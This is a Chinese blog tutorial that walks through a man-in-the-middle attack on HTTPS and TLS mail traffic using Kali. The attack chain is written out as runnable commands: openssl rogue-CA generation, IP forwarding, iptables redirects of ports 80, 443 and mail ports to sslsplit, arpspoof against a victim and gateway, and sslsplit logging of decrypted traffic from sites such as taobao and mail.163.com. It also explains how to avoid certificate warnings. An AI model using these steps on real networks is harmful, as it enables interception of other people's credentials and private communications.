热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

中间人攻击SSL加密流量

中间人劫持https加密流量,对其进行解密查看明文内容。原理:终端发送流量经过路由转发,流量被中间人劫持,直到中间人放回给服
中间人劫持https加密流量,对其进行解密查看明文内容。

 

原理:终端发送流量经过路由转发,流量被中间人劫持,直到中间人放回给服务器(中间人需具备与服务器端看起来差不多的条件)

攻击者位于客户端和服务器通信链路中进行的攻击方式:

1、ARP欺骗:(把中间人的mac地址当作网关,从而让流量流经中间人(伪造证书、解密加密信息等操作))——>欺骗终端设备,让网关误认为是中间人,从而得到流量。

2、DHCP:(动态主机配置协议,自动分配ip地址)
#举例:假使客户端与攻击者在同一网段下,攻击者本地安装DHCP服务,一旦离客户端近,那么先响应攻击者的DHCP服务(从而分配网关、IP、DNS等),先响应向接纳。
3、修改网关

4、修改DNS

5、修改HOSTS

#3、4、5方式不容易进行操作,当真正控制客户端主机,方才容易进行。

#类似:ICMP、STP、OSPF协议(主要是通过攻击协议,让终端流量都经过攻击者电脑)

#加密流量:将劫持的流量解密查看信息,再加密发给目标

 

攻击者发起攻击的前提:
1、客户端已经信任伪造证书颁发机构(服务器端的伪造根证书)
2、攻击者控制了核发证书颁发机构
3、客户端程序禁止了显示证书错误告警信息(客户端已完成)

##只要不出现给客户端知晓的报错信息,那么客户端很难发现被中间人了。除非清楚服务器的证书是什么比对与服务器的公私钥交换情况


4、攻击者已经控制客户端,并强制其信  任伪造证书

 

下面举例说明攻击流程,以例子说明中间人攻击原理:

#利用工具:Kali(sslsplit)、主机;Kali作为中间人攻击者,主机作为客户端。

说明:SSLsplit
1、透明SSL/TLS中间人攻击工具
2、对客户端伪装成服务器,对服务器伪装成普通客户端
3、伪装服务器需要伪造证书
4、支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击

 

下面进行具体操作:

利用openssl生成证书私钥:

openssl genrsa -out ca.key 2048

利用私钥签名生成根证书

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

#对于真正使用中间人攻击,配置方面尽量真实

这里的ca.crt与ca.key分别为:私钥签名生成根证书、证书私钥

下面是具体内容以及设置证书时自己配置的相关的配置信息:

#在根证书里面,存在的只是证书的公钥,到中间人端的私钥是我们自己生成的,也就是ca.key。

 

下面在kali上启动路由,并配置好相关的转发规则,转发规则只列举一些:

启动路由:

sysctl -w net.ipv4.ip_forward=1

配置iprables端口转发规则:

iptables -t nat -F(清空当前配置)
iptables -t nat -L(查看当前配置)

#先查看本地的443端口和80端口是否有开,有开结束掉,不让被占用。从而iptables会将流量引入到sslsplit端口,从而实现流量的解密。(本地又开的话,就会直接访问本机web站点)

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
#对将80端口收到的流量发送给8080端口,8080设置为sslsplit从而解密到来的流量得到明文信息。iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
#对将443端口收到的流量发送给8443端口,8443设置为sslsplit从而解密到来的流量得到信息。再多举一些:
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSAiptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPSiptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPSiptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S

#当所有配置完成后,再来查看当前配置是否成功:

iptables -t nat -L

即如:

 

当所有都配置完成后,下面将再Kali上进行ARP的欺骗配置:

首先需要将Kali网卡配好,将客户端真实网关的mac地址配置为中间人(Kali)的网卡的mac地址:

arpspoof -i eth0 -t 1.1.1.2 -r 1.1.1.1
(-t接目标IP,-r接目标网关)

然后需要创建保存客户端流量的日志文件的目录,这里以:test/logdir作为例子,然后再开启侦听,读取客户端访问通过SSL加密的网站流量信息。

启动SSLsplot:

mkdir -p test/logdir

#配置的时候遇到问题,是tool的错,所以建议自己手动新建。

侦听:

sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
(启动8080与8443的侦听)

#请求内容放在logdir内

#网关的真实mac是上面的,当开启欺骗后,将会把网关mac变为中间人的网卡mac地址。

启动侦听:

 

 

#当被害者访问taobao、百度、mail.163.com(有些http做了登陆过程用SSL加密但非全站https也会有证书错误告警),即经过SSL加密后的流量都会被记录下来,保存在logdir中,查看就能看到被解密出来的明文信息:

 

随便打开一个,可能没有信息,也不是经SSL加密的流量:

 

 

值得注意的是:

很多时候,中间人伪造的证书并不是特别精密的话,一般都会在浏览器上出现报错信息,查看日志和浏览器证书及证书报错信息,但当安装中间人生成的根证书之后再次访问,便不会报错。

 

#当中间人劫持到加密流量后,本应全部解密为明文信息,可是有些登陆账号中密码仍为密文,主要是:在登陆输入密码那里会有一个控件,先对密码做了加密机制,在经过流量转发,所以尽管看到流量内内容,但密码仍是加密状态。

 

以上便是呈现中间人攻击原理的最好解释流程。

 


推荐阅读
  • 超级简单加解密工具的方案和功能
    本文介绍了一个超级简单的加解密工具的方案和功能。该工具可以读取文件头,并根据特定长度进行加密,加密后将加密部分写入源文件。同时,该工具也支持解密操作。加密和解密过程是可逆的。本文还提到了一些相关的功能和使用方法,并给出了Python代码示例。 ... [详细]
  • 如何提高PHP编程技能及推荐高级教程
    本文介绍了如何提高PHP编程技能的方法,推荐了一些高级教程。学习任何一种编程语言都需要长期的坚持和不懈的努力,本文提醒读者要有足够的耐心和时间投入。通过实践操作学习,可以更好地理解和掌握PHP语言的特异性,特别是单引号和双引号的用法。同时,本文也指出了只走马观花看整体而不深入学习的学习方式无法真正掌握这门语言,建议读者要从整体来考虑局部,培养大局观。最后,本文提醒读者完成一个像模像样的网站需要付出更多的努力和实践。 ... [详细]
  • Linux服务器密码过期策略、登录次数限制、私钥登录等配置方法
    本文介绍了在Linux服务器上进行密码过期策略、登录次数限制、私钥登录等配置的方法。通过修改配置文件中的参数,可以设置密码的有效期、最小间隔时间、最小长度,并在密码过期前进行提示。同时还介绍了如何进行公钥登录和修改默认账户用户名的操作。详细步骤和注意事项可参考本文内容。 ... [详细]
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
  • 本文介绍了使用PHP实现断点续传乱序合并文件的方法和源码。由于网络原因,文件需要分割成多个部分发送,因此无法按顺序接收。文章中提供了merge2.php的源码,通过使用shuffle函数打乱文件读取顺序,实现了乱序合并文件的功能。同时,还介绍了filesize、glob、unlink、fopen等相关函数的使用。阅读本文可以了解如何使用PHP实现断点续传乱序合并文件的具体步骤。 ... [详细]
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
  • 本文介绍了计算机网络的定义和通信流程,包括客户端编译文件、二进制转换、三层路由设备等。同时,还介绍了计算机网络中常用的关键词,如MAC地址和IP地址。 ... [详细]
  • mac php错误日志配置方法及错误级别修改
    本文介绍了在mac环境下配置php错误日志的方法,包括修改php.ini文件和httpd.conf文件的操作步骤。同时还介绍了如何修改错误级别,以及相应的错误级别参考链接。 ... [详细]
  • 本文介绍了一种轻巧方便的工具——集算器,通过使用集算器可以将文本日志变成结构化数据,然后可以使用SQL式查询。集算器利用集算语言的优点,将日志内容结构化为数据表结构,SPL支持直接对结构化的文件进行SQL查询,不再需要安装配置第三方数据库软件。本文还详细介绍了具体的实施过程。 ... [详细]
  • 本文探讨了容器技术在安全方面面临的挑战,并提出了相应的解决方案。多租户保护、用户访问控制、中毒的镜像、验证和加密、容器守护以及容器监控都是容器技术中需要关注的安全问题。通过在虚拟机中运行容器、限制特权升级、使用受信任的镜像库、进行验证和加密、限制容器守护进程的访问以及监控容器栈,可以提高容器技术的安全性。未来,随着容器技术的发展,还需解决诸如硬件支持、软件定义基础设施集成等挑战。 ... [详细]
  • centos6.8 下nginx1.10 安装 ... [详细]
  • mapreduce源码分析总结
    这篇文章总结的非常到位,故而转之一MapReduce概述MapReduce是一个用于大规模数据处理的分布式计算模型,它最初是由Google工程师设计并实现的ÿ ... [详细]
  • 基于词向量计算文本相似度1.测试数据:链接:https:pan.baidu.coms1fXJjcujAmAwTfsuTg2CbWA提取码:f4vx2.实验代码:imp ... [详细]
  • 动态多点××× 单云双HUB
    动态多点是一个高扩展的IPSEC解决方案传统的ipsecS2S有如下劣势1.中心站点配置量大,无论是采用经典ipsec***还是采用greoveripsec多一个分支 ... [详细]
  • 做实验需要重命名数据集的名字,有几个容易踩坑的地方和小技巧,总结一下importospathfilelistos.listdir(path)#文件夹路 ... [详细]
author-avatar
小朱-听听积
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有